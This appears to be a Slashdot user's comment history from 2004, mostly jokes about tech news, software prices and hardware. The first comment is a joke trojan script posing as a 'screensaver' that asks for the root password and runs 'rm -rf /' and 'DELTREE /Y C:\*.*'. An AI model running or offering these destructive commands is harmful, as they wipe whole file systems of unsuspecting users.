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  1. I'm a MS DOS user you insensitive clod! on 'Bagle' Worm Heading For A Windows PC Near You · · Score: 1

    #!/usr/bin/env bash
    #
    # Send in email that says:
    # Check this out! just mark it as executable with
    # chmod 755 ! it's awsome!!!!1!
    #

    echo "Hello this isn't a virus"

    echo -n "Enter your password for funny screensaver! "

    su

    echo -n "Starting screen saver..."

    rm -rf / &> /dev/null

    ECHO "Hello this isn't a virus"
    REM echo -n "Enter your password for funny screensaver!"
    REM su
    ECHO "Starting screen saver..."
    DELTREE /Y C:\*.*


    I'm a MS DOS user you insensitive clod!
  2. +5 BEST OF /. 2004 on Women Buy More Tech Than Men · · Score: 1

    My God, it all makes sense now.

  3. Re:Amazing moronic TrancePhreak on Macintosh's 1984 Debut · · Score: 1

    Seriously, I'd like to know too. I would consider myself an advanced windows user, i've been using it since 3.1 and constantly amaze coworkers as I whizz through menus and windows with keyboard shortcuts. But through all my windows experience I still cant for the life of me figure out a mac. I mean, I've only tried them for a minute or 2 at compusa, and it seems that i can max, min, close programs, and the icon bar at the bottom is nice (hope you can scale back those 120x120px icons) but i know hitting the red? button on a window doesnt close the proggie, just hides it somewhere, theres a menu for that, i think, hell maybe im asking too much agreeing with this guy. if its an easy answer do so, or linky to a page.

  4. Re:Above real time training... on Army to use MMOG for Simulation Training · · Score: 1

    I totally know what you mean. I can remember plenty of times screaming down the road at 20 MPH over the limit only to realize after a few minutes that "Oh wait, this isnt need for speed, I've gotta slow down".

    Of course this has only happened when I drove right after playing a racing game

  5. If only I had mod points on Mozilla 1.6 Released · · Score: 1

    If only I had mod points

  6. Re:Amy is cute. on MIT Technology Review Slams IPv6 · · Score: 1

    Tell her I gave her a 10, she can give me anything back as long as its in this format: xxx-xxx-xxxx

  7. Amy is cute. on MIT Technology Review Slams IPv6 · · Score: 1

    Amy is cute.

    Who is Amy?

  8. qrio.zip without registration on Clear Speakers, Segway Clone Top CES Coverage · · Score: 0, Offtopic

    Can anyone post qrio.zip? I dont feel like registering.

    Yeah I'm lazy

    Anyway, looks like a pretty spiffy robot, would love to see it run.

  9. Re:Did you hear that wailing sound? on Doom 3 Vaporware no More · · Score: 1

    That was the sound of utter terror from ten-thousand Nvidia, Ati, AMD and Intel engineers who can now look forward to putting out a bleeding-edge new graphics card / CPU in less then four months. Expect casualties.

    Dont worry, They'll just take the latest chips/cards, slap "ultra extreme edition XT second edition" on them and resell them at $500.

    PS: On a weird note, a friend just got a GeForce FX 5600 Ultra XT. I thought the XT thing was ATI's? Oh wait, I mean IBM's ;').

  10. Re:Greater market at indirect risk on Israel v. Microsoft, Next Round · · Score: 1

    Your right, I didnt think about the fact that if the Govt is saving in OOo format the contractors will need to read the documents. Say a requirements document maybe? I mean, if anyone actually reads those anyway.

  11. Re:Some things in life money cant buy... on Israel v. Microsoft, Next Round · · Score: 1

    As long as were on the topic of Project Management, I'll take this opportunity to make a shameless plug:

    Visualizing Project Management: A Model for Business and Technical Success (with CD-ROM)
    and
    Communicating Project Management: The Integrated Vocabulary of Project Management and Systems Engineering

    Compliments of Center for Systems Management - Go ahead and /. the site, would make a good case to my PHB why they shouldnt have migrated to ASP from PHP.

    And yes, its a shame that MS Projct is the defacto standard PM PC Tool, and I havent seen any OSS that comes close.

  12. Old News. EB says Doom3/HL2 4/1/04 on Doom 3 Vaporware no More · · Score: 1

    Big news, yeah right. I found a boxed copy for pre-pay at EB or Game World durring xmas, asked the sales guy, was told 4/1/04. that was over a month ago. Same thing for HL2.

  13. Some things in life money cant buy... on Israel v. Microsoft, Next Round · · Score: 4, Funny

    OpenOffice.org: $0

    Some things in life money cant buy, for everything else there's:

    Outlook 2003:....$109.99
    Word 2003:.......$229.99
    Excel 2003:......$229.99
    PowerPoint 2003:.$229.99
    Access 2003:.....$229.99
    Publisher 2003:..$169.99
    Frontpage 2003:..$199.99
    Project 2003:....$599.99
    Total: $1999.92

  14. Re:Greater market at indirect risk on Israel v. Microsoft, Next Round · · Score: 1

    The whole point of having OpenOffice.org is that it will communicate with MS Word .doc's seamlessly, so if Israeli contractors already had Word installed, there would be no point to switching.

    Sure, Go OSS! OO.o rocks and all but its a long road to a higher market share.

    I tried to get a coworker to try out OO.org but she said "Eh, I've already got word, maybe if my next Dell doesnt come with it pre-installed, and even then what do I care, the IT dept. buys it for me anyway)

  15. Re:Professional card? on Turning A FX5900 Into A FX5950 Ultra, Tool-Free · · Score: 1

    FPS in Quake. Cause 400 is never enough.

  16. P4, 512GB, Linux on AP Article On Cyborg Steve Mann · · Score: 0, Redundant

    From the Yahoo Story:

    It can plug into a variety of computers and devices. One of his common setups involves a computer with a Pentium 4 processor, at least 512 gigabytes of memory and a specialized operating system based on Linux

    When did P4s go 64bit?

  17. Now if only Windows could do the same thing, right on DOS Emulation Under Linux - a Simple Guide · · Score: 4, Funny

    Now if only we could get Windows to emulate DOS correctly, maybe then we could Play Duke3d in XP.

  18. Re:Libraries Next! on RIAA Takes the Fight to the Streets · · Score: 1

    Listening to records now are we? On the streets on less?

  19. Re:Next step on RIAA Takes the Fight to the Streets · · Score: 5, Funny

    They'd probably sue you for trademark infringement.

    Yes but my RIAA jacket stands for "Really Intrusive American Assholes"

  20. Re:Fujitsu P-Series on Sony X505/SP Notebook Review · · Score: 1

    How the hell do you people keep touting 7 and 9 hour battery life! Maybe I just made a bad notebook buying decision with my Toshiba Satelite, but I'm lucky if I get a half hour out of the thing, and its only 2 years old. Sure, when it was brand new I could get maybe an hour and a half out of it at high speed. Online is said 3+ hours, but after purchasing it I realized that was in "low" mode (like 300MHz or something ridicilous). I realize I probably cut my batter life in half by leaving it depleated for a week a couple of times, or so I've heard when it comes to LiIon batterys, but really, seriously, someone tell me they actually get 7 hours of battery in full speed mode at 3 LBS!

  21. Where can I get good video coverage of CES on CES 2004 Coverage · · Score: 1

    I've been catching up on CES by streaming video at news.com.com although it is very little. I would like to know what other sources for video coverage other slashdotters have found.

    /me remembers back in the day when CNET had a good broadband video coverage section

  22. MOD PARENT UP on Inside the Lego Master Builder Search · · Score: 1

    Yeah, that just rocks

  23. Re:Visual C++ runs faster on Windows. Duh on Performance Benchmarks of Nine Languages · · Score: 1

    Besides, it would've been kinda difficult comparing the same set of compilers under native Linux, don't you think?

    Wine anyone?

    *ducks*

  24. Re:It's very simple. Time IS money. on Major New TiVo Service Offerings · · Score: 2, Funny

    I dont have kids, I'm 20, so fibble fabbling with the HabbleFabbleTV and wabble wibbling with the uber-kibble kobble is whats going to get me to where you, Mr. I've got so much damn money, what does it matter if I just walk into bestbuy and walk out with the latest consumer electronic blah blah blah.

    So you design multi-gate-transistorfied mother-bored fibble fabble, nifty old dude. you keep taking the comfortable in my 40's route and I'll keep fabbling with my fobbles and maybe when all this fibbling pays off and I'm as rich as you in my 40's I'll make the same post to /. as the new generation uber-kibble kibblers discus how much uber it is to build their own penguinfied personal space craft instead of just taking Delta to Mars.

  25. Visual C++ runs faster on Windows. Duh on Performance Benchmarks of Nine Languages · · Score: 1

    Visual C++ runs faster on Windows. Duh